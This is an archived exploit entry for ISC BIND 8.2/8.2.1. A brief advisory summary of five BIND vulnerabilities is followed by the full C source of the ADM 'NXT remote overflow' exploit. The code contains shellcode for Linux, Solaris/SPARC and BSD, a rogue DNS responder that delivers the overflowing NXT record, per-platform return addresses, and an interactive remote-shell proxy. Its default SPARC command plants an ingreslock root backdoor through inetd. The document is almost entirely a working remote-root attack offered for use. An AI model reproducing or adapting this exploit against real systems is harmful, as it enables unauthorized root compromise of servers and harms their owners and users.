ISC BIND <= 8.2.2_IRIX <= 6.5.17_Solaris 7.0 - (NXT Overflow and Denial of Service) Vulnerabilities



source: http://www.securityfocus.com/bid/788/info


There are several vulnerabilities in recent BIND packages (pre 8.2.2).

The first is a buffer overflow condition which is a result of BIND improperly validating NXT records. The consequence of this being exploited is a remote root compromise (assuming that BIND is running as root, which is default).

The second is a denial of service which can occur if BIND does not validate SIG records properly.

The next is a bug which allows attackers to cause BIND to consume more file descriptors than can be managed, causing named to crash.

The fourth vulnerability is another denial of service which can be caused locally if certain permission conditions are met when validating zone information loaded from disk files.

The last is a vulnerability which has to do with closing TCP sockets. If protocols for doing so are not adhered to, BIND can be paused for 120 seconds at a time. 

/*
 * ADM CONFIDENTIAL -- (ADM Confidential Restricted when
 * combined with the aggregated modules for this product)
 * OBJECT CODE ONLY SOURCE MATERIALS
 * (C) COPYRIGHT ADM Crew. 1999
 * All Rights Reserved
 *
 * This module may not be used, published, distributed or archived without 
 * the written permission of the ADM Crew. Please contact your local sales 
 * representative.
 *
 * ADM named 8.2/8.2.1 NXT remote overflow - horizon/plaguez 
 *
 * "a misanthropic anthropoid with nothing to say"
 *
 * thanks to stran9er for sdnsofw.c
 *
 * Intel exploitation is pretty straightforward.. should give you a remote
 * shell. The shellcode will break chroot, do a getpeername on all open 
 * sockets, and dup to the first one that returns AFINET. It also forks and
 * runs a command in case the fd duping doesn't go well.  Solaris/SPARC is a 
 * bit more complicated.. we are going through a well trodden part of the 
 * code, so we don't get the context switch we need to have it populate the 
 * register windows from the stack. However, if you just hammer the service 
 * with requests, you will quickly get a context switch at the right time. 
 * Thus, the SPARC shellcode currently only breaks chroot, closes current 
 * fd's and runs a command.
 * Also, the NetBSD shellcode doesn't break chroot because they stop the
 * dir tricks. Of course, they allow mknods in chrooted environments, so 
 * if named is running as root, then it still might be expoitable.
 * The non-exec stack patch version returns into a malloc'ed buffer, whose 
 * address can vary quite alot. Thus, it may not be as reliable as the other 
 * versions..
 *
 * We broke this just a little in order to raise the bar on using it 
 * (just slightly).. If you'd like to test it on your own box, put a shell 
 * in /adm/sh, or /adm/ksh for solaris on the target machine.
 */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>

char linuxcode[]=
 {0xe9,0xac,0x1,0x0,0x0,0x5e,0x89,0x76,0xc,0x8d,0x46,0x8,0x89,0x46,0x10,0x8d,
  0x46,0x2e,0x89,0x46,0x14,0x56,0xeb,0x54,0x5e,0x89,0xf3,0xb9,0x0,0x0,0x0,0x0,
  0xba,0x0,0x0,0x0,0x0,0xb8,0x5,0x0,0x0,0x0,0xcd,0x80,0x50,0x8d,0x5e,0x2,0xb9,
  0xff,0x1,0x0,0x0,0xb8,0x27,0x0,0x0,0x0,0xcd,0x80,0x8d,0x5e,0x2,0xb8,0x3d,0x0,
  0x0,0x0,0xcd,0x80,0x5b,0x53,0xb8,0x85,0x0,0x0,0x0,0xcd,0x80,0x5b,0xb8,0x6,
  0x0,0x0,0x0,0xcd,0x80,0x8d,0x5e,0xb,0xb8,0xc,0x0,0x0,0x0,0xcd,0x80,0x89,0xf3,
  0xb8,0x3d,0x0,0x0,0x0,0xcd,0x80,0xeb,0x2c,0xe8,0xa7,0xff,0xff,0xff,0x2e,0x0,
  0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
  0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
  0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x0,0x5e,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x89,
  0xc0,0x85,0xc0,0xf,0x85,0x8e,0x0,0x0,0x0,0x89,0xf3,0x8d,0x4e,0xc,0x8d,0x56,
  0x18,0xb8,0xb,0x0,0x0,0x0,0xcd,0x80,0xb8,0x1,0x0,0x0,0x0,0xcd,0x80,0xe8,0x75,
  0x0,0x0,0x0,0x10,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x74,0x68,0x69,0x73,0x69,0x73,
  0x73,0x6f,0x6d,0x65,0x74,0x65,0x6d,0x70,0x73,0x70,0x61,0x63,0x65,0x66,0x6f,
  0x72,0x74,0x68,0x65,0x73,0x6f,0x63,0x6b,0x69,0x6e,0x61,0x64,0x64,0x72,0x69,
  0x6e,0x79,0x65,0x61,0x68,0x79,0x65,0x61,0x68,0x69,0x6b,0x6e,0x6f,0x77,0x74,
  0x68,0x69,0x73,0x69,0x73,0x6c,0x61,0x6d,0x65,0x62,0x75,0x74,0x61,0x6e,0x79,
  0x77,0x61,0x79,0x77,0x68,0x6f,0x63,0x61,0x72,0x65,0x73,0x68,0x6f,0x72,0x69,
  0x7a,0x6f,0x6e,0x67,0x6f,0x74,0x69,0x74,0x77,0x6f,0x72,0x6b,0x69,0x6e,0x67,
  0x73,0x6f,0x61,0x6c,0x6c,0x69,0x73,0x63,0x6f,0x6f,0x6c,0xeb,0x86,0x5e,0x56,
  0x8d,0x46,0x8,0x50,0x8b,0x46,0x4,0x50,0xff,0x46,0x4,0x89,0xe1,0xbb,0x7,0x0,
  0x0,0x0,0xb8,0x66,0x0,0x0,0x0,0xcd,0x80,0x83,0xc4,0xc,0x89,0xc0,0x85,0xc0,
  0x75,0xda,0x66,0x83,0x7e,0x8,0x2,0x75,0xd3,0x8b,0x56,0x4,0x4a,0x52,0x89,0xd3,
  0xb9,0x0,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x52,0x89,0xd3,
  0xb9,0x1,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x52,0x89,0xd3,
  0xb9,0x2,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0xeb,0x12,0x5e,0x46,
  0x46,0x46,0x46,0x46,0xc7,0x46,0x10,0x0,0x0,0x0,0x0,0xe9,0xfe,0xfe,0xff,0xff,
  0xe8,0xe9,0xff,0xff,0xff,0xe8,0x4f,0xfe,0xff,0xff,0x2f,0x61,0x64,0x6d,0x2f,
  0x73,0x68,0x0,0x2d,0x63,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
  0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x70,0x6c,0x61,0x67,0x75,0x65,0x7a,0x5b,
  0x41,0x44,0x4d,0x5d,0x31,0x30,0x2f,0x39,0x39,0x2d};

char sc[]=
 {0x40,0x0,0x0,0x2e,0x1,0x0,0x0,0x0,0x90,0x3,0xe0,0xd5,0x92,0x10,0x20,0x0,
  0x82,0x10,0x20,0x5,0x91,0xd0,0x20,0x0,0xa0,0x10,0x0,0x8,0x90,0x3,0xe0,0xcc,
  0x92,0x10,0x21,0xff,0x82,0x10,0x20,0x50,0x91,0xd0,0x20,0x0,0x90,0x3,0xe0,
  0xcc,0x82,0x10,0x20,0x3d,0x91,0xd0,0x20,0x0,0x90,0x10,0x0,0x10,0x82,0x10,
  0x20,0x78,0x91,0xd0,0x20,0x0,0x90,0x10,0x0,0x10,0x82,0x10,0x20,0x6,0x91,0xd0,
  0x20,0x0,0x90,0x3,0xe0,0xd7,0x82,0x10,0x20,0xc,0x91,0xd0,0x20,0x0,0x90,0x3,
  0xe0,0xd5,0x82,0x10,0x20,0x3d,0x91,0xd0,0x20,0x0,0xa0,0x10,0x20,0x0,0x90,
  0x10,0x0,0x10,0x82,0x10,0x20,0x6,0x91,0xd0,0x20,0x0,0xa0,0x4,0x20,0x1,0x80,
  0xa4,0x20,0x1e,0x4,0xbf,0xff,0xfb,0x1,0x0,0x0,0x0,0x90,0x3,0xe0,0xc0,0xa0,
  0x3,0xe0,0xc5,0xe0,0x23,0xbf,0xf0,0xa0,0x3,0xe0,0xc9,0xe0,0x23,0xbf,0xf4,
  0xa0,0x3,0xe1,0x5,0xe0,0x23,0xbf,0xf8,0xc0,0x23,0xbf,0xfc,0x92,0x3,0xbf,0xf0,
  0x94,0x3,0xbf,0xfc,0x82,0x10,0x20,0x3b,0x91,0xd0,0x20,0x0,0x81,0xc3,0xe0,0x8,
  0x1,0x0,0x0,0x0,0x2f,0x61,0x64,0x6d,0x2f,0x6b,0x73,0x68,0x0,0x2d,0x63,0x0,
  0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x0,0x2e,0x2e,0x2f,0x2e,
  0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,
  0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x0,0x68,0x6f,0x72,0x69,0x7a,0x6f,
  0x6e,0x5b,0x41,0x44,0x4d,0x5d,0x31,0x30,0x2f,0x39,0x39,0x0};

char bsdcode[]=
 {0xe9,0xd4,0x1,0x0,0x0,0x5e,0x31,0xc0,0x50,0x50,0xb0,0x17,0xcd,0x80,0x31,0xc0,
  0x50,0x50,0x56,0x50,0xb0,0x5,0xcd,0x80,0x89,0x46,0x28,0xb9,0xff,0x1,0x0,0x0,
  0x51,0x8d,0x46,0x2,0x50,0x50,0xb8,0x88,0x0,0x0,0x0,0xcd,0x80,0x8d,0x46,0x2,
  0x50,0x50,0xb8,0x3d,0x0,0x0,0x0,0xcd,0x80,0x8b,0x46,0x28,0x50,0x50,0xb8,0xa7,
  0x0,0x0,0x0,0x34,0xaa,0xcd,0x80,0x8d,0x46,0xb,0x50,0x50,0xb8,0xa6,0x0,0x0,
  0x0,0x34,0xaa,0xcd,0x80,0x8d,0x46,0x21,0x48,0x50,0x50,0xb8,0x3d,0x0,0x0,0x0,
  0xcd,0x80,0x50,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x85,0xc0,0xf,0x85,0xe6,0x0,
  0x0,0x0,0x8d,0x56,0x38,0x89,0x56,0x28,0x8d,0x46,0x40,0x89,0x46,0x2c,0x8d,
  0x46,0x43,0x89,0x46,0x30,0x8d,0x46,0x30,0x50,0x8d,0x46,0x28,0x50,0x52,0x50,
  0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0x50,0x50,0xb8,0x1,0x0,0x0,0x0,0xcd,0x80,
  0xe8,0xbc,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x62,0x6c,0x61,0x68,
  0x62,0x6c,0x61,0x68,0x73,0x61,0x6d,0x65,0x74,0x68,0x69,0x6e,0x67,0x79,0x65,
  0x74,0x61,0x6e,0x6f,0x74,0x68,0x65,0x72,0x73,0x70,0x61,0x63,0x65,0x66,0x6f,
  0x72,0x61,0x73,0x6f,0x63,0x6b,0x61,0x64,0x64,0x72,0x73,0x74,0x72,0x75,0x63,
  0x74,0x75,0x72,0x65,0x62,0x75,0x74,0x74,0x68,0x69,0x73,0x74,0x69,0x6d,0x65,
  0x66,0x6f,0x72,0x74,0x68,0x65,0x62,0x73,0x64,0x73,0x68,0x65,0x6c,0x6c,0x63,
  0x6f,0x64,0x65,0x66,0x6f,0x72,0x74,0x75,0x6e,0x61,0x74,0x6c,0x79,0x74,0x68,
  0x69,0x73,0x77,0x69,0x6c,0x6c,0x77,0x6f,0x72,0x6b,0x69,0x68,0x6f,0x70,0x65,
  0x6f,0x6b,0x69,0x74,0x68,0x69,0x6e,0x6b,0x65,0x6e,0x6f,0x75,0x67,0x68,0x73,
  0x70,0x61,0x63,0x65,0x6e,0x6f,0x77,0x0,0x70,0x6c,0x61,0x67,0x75,0x65,0x7a,
  0x5b,0x41,0x44,0x4d,0x5d,0x20,0x42,0x53,0x44,0x20,0x63,0x72,0x61,0x70,0x70,
  0x79,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x2d,0x20,0x31,
  0x30,0x2f,0x39,0x39,0x31,0xd2,0xe9,0x3f,0xff,0xff,0xff,0x8d,0x46,0x4,0x50,
  0x8d,0x46,0x8,0x50,0x52,0x52,0xb8,0x1f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x83,0xf8,
  0x0,0x75,0x6,0x80,0x7e,0x9,0x2,0x74,0xc,0x52,0x52,0xb8,0x6,0x0,0x0,0x0,0xcd,
  0x80,0x42,0xeb,0xd7,0x6a,0x0,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,
  0x1,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,0x2,0x52,0x52,0xb8,0x5a,
  0x0,0x0,0x0,0xcd,0x80,0xeb,0x29,0x5e,0x46,0x46,0x46,0x46,0x46,0x8d,0x56,0x38,
  0x89,0x56,0x28,0xc7,0x46,0x2c,0x0,0x0,0x0,0x0,0x8d,0x46,0x34,0x50,0x8d,0x46,
  0x28,0x50,0x52,0x52,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0xe9,0xc1,0xfe,0xff,0xff,
  0xe8,0xd2,0xff,0xff,0xff,0xe8,0x27,0xfe,0xff,0xff,0x2e,0x0,0x41,0x44,0x4d,
  0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
  0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
  0x0,0x2e,0x2f,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
  0xff,0x0,0x0,0x0,0x0,0x2f,0x61,0x64,0x6d,0x2f,0x73,0x68,0x0,0x2d,0x63,0x0,
  0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x59,0x4f,0x59,0x4f,
  0x59,0x4f,0x0}; 

char bsdnochroot[]=
 {0xe9,0x79,0x1,0x0,0x0,0x5e,0x50,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x85,0xc0,0xf,
  0x85,0xe6,0x0,0x0,0x0,0x8d,0x56,0x38,0x89,0x56,0x28,0x8d,0x46,0x40,0x89,0x46,
  0x2c,0x8d,0x46,0x43,0x89,0x46,0x30,0x8d,0x46,0x30,0x50,0x8d,0x46,0x28,0x50,
  0x52,0x50,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0x50,0x50,0xb8,0x1,0x0,0x0,0x0,
  0xcd,0x80,0xe8,0xbc,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0x0,0x0,0x0,0x62,0x6c,
  0x61,0x68,0x62,0x6c,0x61,0x68,0x73,0x61,0x6d,0x65,0x74,0x68,0x69,0x6e,0x67,
  0x79,0x65,0x74,0x61,0x6e,0x6f,0x74,0x68,0x65,0x72,0x73,0x70,0x61,0x63,0x65,
  0x66,0x6f,0x72,0x61,0x73,0x6f,0x63,0x6b,0x61,0x64,0x64,0x72,0x73,0x74,0x72,
  0x75,0x63,0x74,0x75,0x72,0x65,0x62,0x75,0x74,0x74,0x68,0x69,0x73,0x74,0x69,
  0x6d,0x65,0x66,0x6f,0x72,0x74,0x68,0x65,0x62,0x73,0x64,0x73,0x68,0x65,0x6c,
  0x6c,0x63,0x6f,0x64,0x65,0x66,0x6f,0x72,0x74,0x75,0x6e,0x61,0x74,0x6c,0x79,
  0x74,0x68,0x69,0x73,0x77,0x69,0x6c,0x6c,0x77,0x6f,0x72,0x6b,0x69,0x68,0x6f,
  0x70,0x65,0x6f,0x6b,0x69,0x74,0x68,0x69,0x6e,0x6b,0x65,0x6e,0x6f,0x75,0x67,
  0x68,0x73,0x70,0x61,0x63,0x65,0x6e,0x6f,0x77,0x0,0x70,0x6c,0x61,0x67,0x75,
  0x65,0x7a,0x5b,0x41,0x44,0x4d,0x5d,0x20,0x42,0x53,0x44,0x20,0x63,0x72,0x61,
  0x70,0x70,0x79,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x2d,
  0x20,0x31,0x30,0x2f,0x39,0x39,0x31,0xd2,0xe9,0x3f,0xff,0xff,0xff,0x5e,0x8d,
  0x46,0x4,0x50,0x8d,0x46,0x8,0x50,0x52,0x52,0xb8,0x1f,0x0,0x0,0x0,0xcd,0x80,
  0x5a,0x83,0xf8,0x0,0x75,0x6,0x80,0x7e,0x9,0x2,0x74,0xc,0x52,0x52,0xb8,0x6,
  0x0,0x0,0x0,0xcd,0x80,0x42,0xeb,0xd7,0x6a,0x0,0x52,0x52,0xb8,0x5a,0x0,0x0,
  0x0,0xcd,0x80,0x6a,0x1,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,0x2,
  0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0xeb,0x29,0x5e,0x46,0x46,0x46,0x46,
  0x46,0x8d,0x56,0x38,0x89,0x56,0x28,0xc7,0x46,0x2c,0x0,0x0,0x0,0x0,0x8d,0x46,
  0x34,0x50,0x8d,0x46,0x28,0x50,0x52,0x52,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0xe9,
  0xc0,0xfe,0xff,0xff,0xe8,0xd2,0xff,0xff,0xff,0xe8,0x82,0xfe,0xff,0xff,0x2e,
  0x0,0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,
  0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,
  0x2f,0x2e,0x2e,0x2f,0x0,0x2e,0x2f,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
  0xff,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x2f,0x61,0x64,0x6d,0x2f,0x73,0x68,
  0x0,0x2d,0x63,0x0,0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,
  0x59,0x4f,0x59,0x4f,0x59,0x4f,0x0};

struct arch
{
  int id;
  char *name;
  char *code;
  int codesize;
  unsigned long safe;
  unsigned long ret;
  int length;
};

struct arch archlist[] =
{
  {1, "Linux Redhat 6.x    - named 8.2/8.2.1 (from rpm)", linuxcode, 
      sizeof(linuxcode), 0, 0xbfffd6c3, 6500},
  {2, "Linux SolarDiz's non-exec stack patch - named 8.2/8.2.1",linuxcode,
      sizeof(linuxcode), 0, 0x80f79ae, 6500},
  {3, "Solaris 7 (0xff)    - named 8.2.1", sc, sizeof(sc), 0xffbea738, 
      0xffbedbd0, 11000},
  {4, "Solaris 2.6         - named 8.2.1", sc, sizeof(sc), 0xefffa000, 
      0xefffe5d0, 11000},
  {5, "FreeBSD 3.2-RELEASE - named 8.2", bsdcode, sizeof(bsdcode), 1,
       0xbfbfbdb8, 7000},
  {6, "OpenBSD 2.5         - named 8.2", bsdcode, sizeof(bsdcode), 1,
       0xefbfbb00, 7000},
  {7, "NetBSD 1.4.1        - named 8.2.1", bsdnochroot, sizeof(bsdnochroot), 1,
       0xefbfbb00, 7000},
  {0, 0, 0, 0}
};

int arch=0;
char *command=0;

/* these two dns routines from dspoof/jizz */

/* pull out a compressed query name */
char *dnssprintflabel(char *s, char *buf, char *p)
{     
  unsigned short i,len;
  char *b=NULL;

  len=(unsigned short)*(p++);
  while (len) {
    while (len >= 0xC0) {
      if (!b)
        b=p+1;
      p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
      len=(unsigned short)*(p++);
    }
  
    for (i=0;i<len;i++)
      *(s++)=*(p++);   
  
    *(s++)='.';

    len=(unsigned short)*(p++);
  }

  *(s++)=0;
  if (b)
    return(b);

  return(p);
}

/* store a query name */
char *dnsaddlabel(char *p, char *label)
{
  char *p1;

  while ((*label) && (label)) {
    if ((*label == '.') && (!*(label+1)))
      break;

    p1=strchr(label,'.');

    if (!p1)
      p1=strchr(label,0);

    *(p++)=p1-label;
    memcpy(p,label,p1-label);
    p+=p1-label;

    label=p1;
    if (*p1)
      label++;
  }
  *(p++)=0;

  return(p);
}

void make_overflow(char *a)
{
  int i;
  unsigned long *b;
  unsigned char *c;
  char sbuf[4096];

  if (archlist[arch].safe==0) /* linux */
  {
    memset(a,0x90,4134);
    memcpy(a+3500,archlist[arch].code,archlist[arch].codesize);

    if (command)
      strcpy(a+3500+archlist[arch].codesize, command);
    else
      strcpy(a+3500+archlist[arch].codesize, "exit");

    b=(unsigned long*)(a+4134);
    for (i=0;i<20;i++)
      *b++=archlist[arch].ret;
  }
  else if (archlist[arch].safe==1) /* bsd */
  {
    memset(a,0x90,4134);
    memcpy(a+3300,archlist[arch].code,archlist[arch].codesize);

    if (command)
      strcpy(a+3300+archlist[arch].codesize, command);
    else
      strcpy(a+3300+archlist[arch].codesize, "exit");

    b=(unsigned long*)(a+4134);
    for (i=0;i<20;i++)
      *b++=archlist[arch].ret;
  }
  else /*SPARC*/
  {
    memset(a,0x0,11000);             
  
    b=(unsigned long*)(a+4438);
    
    for (i=0;i<1500;i++)
      *b++=htonl(0xac15a16e);

    c=(char *)b;

    for (i=0;i<archlist[arch].codesize;i++)
      *c++=archlist[arch].code[i];
    if (command)
      strcpy(c, command);
    else
      strcpy(c, "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" \
>>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob;/bin/rm -f /tmp/bob ");

    b=(unsigned long*)(a+4166);

    *b++=htonl(0xdeadbeef); 
    *b++=htonl(0xdeadbeef);
    *b++=htonl(archlist[arch].safe);       //i2 - significant
    *b++=htonl(0xdeadbeef);
    *b++=htonl(0xdeadbeef);
    *b++=htonl(archlist[arch].safe);       //i5 - significant
    *b++=htonl(0xdeadbeef);
    *b++=htonl(0xdeadbeef);

    *b++=htonl(archlist[arch].safe);       //o0 - significant
    *b++=htonl(0xdeadbeef);
    *b++=htonl(archlist[arch].safe);       //o2 - significant
    *b++=htonl(0xdeadbeef);
    *b++=htonl(0xdeadbeef);
    *b++=htonl(0xdeadbeef);
    *b++=htonl(archlist[arch].safe);       //o6 - significant
    *b++=htonl(archlist[arch].ret);        //o7 - retaddr
  }
}

int form_response(HEADER *packet, char *buf)
{
  char query[512];
  int qtype;
  HEADER *dnsh;
  char *p;
  char *walker;

  memset(buf,0,sizeof(buf));

  dnsh = (HEADER *) buf;
  dnsh->id = packet->id;
  dnsh->qr=1;
  dnsh->aa=1;  
  dnsh->qdcount = htons(1);
  dnsh->ancount = htons(1);
  dnsh->arcount = htons(1);
  dnsh->rcode = 0;

  walker=(char*)(dnsh+1);

  p=dnssprintflabel(query, (char *)packet, (char*)(packet+1));
  query[strlen(query) - 1] = 0;

  qtype=*((unsigned short *)p);

  printf("%s type=%d\n",query, ntohs(qtype));

  /* first, the query */

  walker=dnsaddlabel(walker, query);
  PUTSHORT(ntohs(qtype), walker);
  //PUTSHORT(htons(T_PTR), walker);
  PUTSHORT(1,walker);

  /* then, our answer */
  /* query IN A 1.2.3.4 */

  walker=dnsaddlabel(walker, query);
  PUTSHORT(T_A, walker);
  PUTSHORT(1, walker);
  PUTLONG(60*5, walker);
  PUTSHORT(4, walker);
  sprintf(walker,"%c%c%c%c",1,2,3,4);
  walker+=4;

  /* finally, we make named do something more interesting */

  walker=dnsaddlabel(walker, query);
  PUTSHORT(T_NXT, walker);
  PUTSHORT(1, walker);
  PUTLONG(60*5, walker);

  /* the length of one label and our arbitrary data */

  PUTSHORT(archlist[arch].length+7, walker);

  PUTSHORT(6, walker);
  sprintf(walker,"admadm");
  walker+=6;
  PUTSHORT(0, walker);

  make_overflow(walker);
  walker+=archlist[arch].length; 
  PUTSHORT(0, walker);
  return walker-buf;
}

#define max(x,y) ((x)>(y)?(x):(y))

int proxyloop(int s)
{
  char snd[1024], rcv[1024];
  fd_set rset;
  int maxfd, n;

  sleep(1);
  printf("Entering proxyloop..\n");
  strcpy(snd, "cd /; uname -a; pwd; id;\n");
  write(s, snd, strlen(snd));

  for (;;) 
  {
    FD_SET(fileno(stdin), &rset);
    FD_SET(s, &rset);
    maxfd = max(fileno(stdin), s) + 1;
    select(maxfd, &rset, NULL, NULL, NULL);
    if (FD_ISSET(fileno(stdin), &rset)) 
    {
      bzero(snd, sizeof(snd));
      fgets(snd, sizeof(snd) - 2, stdin);
      write(s, snd, strlen(snd));
    }
    if (FD_ISSET(s, &rset)) 
    {
      bzero(rcv, sizeof(rcv));
      if ((n = read(s, rcv, sizeof(rcv))) == 0) 
                        exit(0);
      if (n < 0) 
      {
        return -3;
      }
      fputs(rcv, stdout);
    }
  }
  return 0;
}

int main(int argc, char **argv)
{
  int s, fromlen, res, sl, s2;
  struct sockaddr_in sa, from, to;
  char buf[16384];
  char sendbuf[16384];
  unsigned short ts;
  int i;

  if (argc<2)
  {
    fprintf(stderr,"Usage: %s architecture [command]\n", argv[0]);
    fprintf(stderr,"Available architectures:\n");
    i=-1;
    while(archlist[++i].id)
      fprintf(stderr,"  %d: %s\n",archlist[i].id,archlist[i].name);
    exit(1);
  }

  arch=atoi(argv[1])-1;

  if (argc==3)
    command=argv[2];

  if ((s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))==-1)
  {
    perror("socket");
    exit(1);
  }

  bzero(&sa, sizeof sa);

  sa.sin_family=AF_INET;
  sa.sin_addr.s_addr=INADDR_ANY;
  sa.sin_port=htons(53);

  if (bind(s, (struct sockaddr *)&sa, sizeof(sa))==-1)
  {
    perror("bind");
    exit(1);
  }

  do 
  {
    fromlen=sizeof(from);
    if ((res=recvfrom(s, buf, sizeof buf, 0, (struct sockaddr *)&from, 
                      &fromlen)) == -1)
    {
      perror("recvfrom");
      exit(1);
    }

    printf("Received request from %s:%d for ", inet_ntoa(from.sin_addr),
           ntohs(from.sin_port));

    sl=form_response((HEADER *)buf,sendbuf);

    /* now lets connect to the nameserver */

    bzero(&to, sizeof(to));
    to.sin_family=AF_INET;
    to.sin_addr=from.sin_addr;
    to.sin_port=htons(53);

    if ((s2=socket(AF_INET, SOCK_STREAM, 0))==-1)
    {
      perror("socket");
      exit(1);
    }

    if (connect(s2, (struct sockaddr *)&to, sizeof to)==-1)
    {
      perror("connect");
      exit(1);
    }

    ts=htons(sl);
    write(s2,&ts,2);

    write(s2,sendbuf,sl);
    if (archlist[arch].safe>1)
      close(s2);
  } while (archlist[arch].safe>1); /* infinite loop for sparc */
  proxyloop(s2); 
  exit(1);
}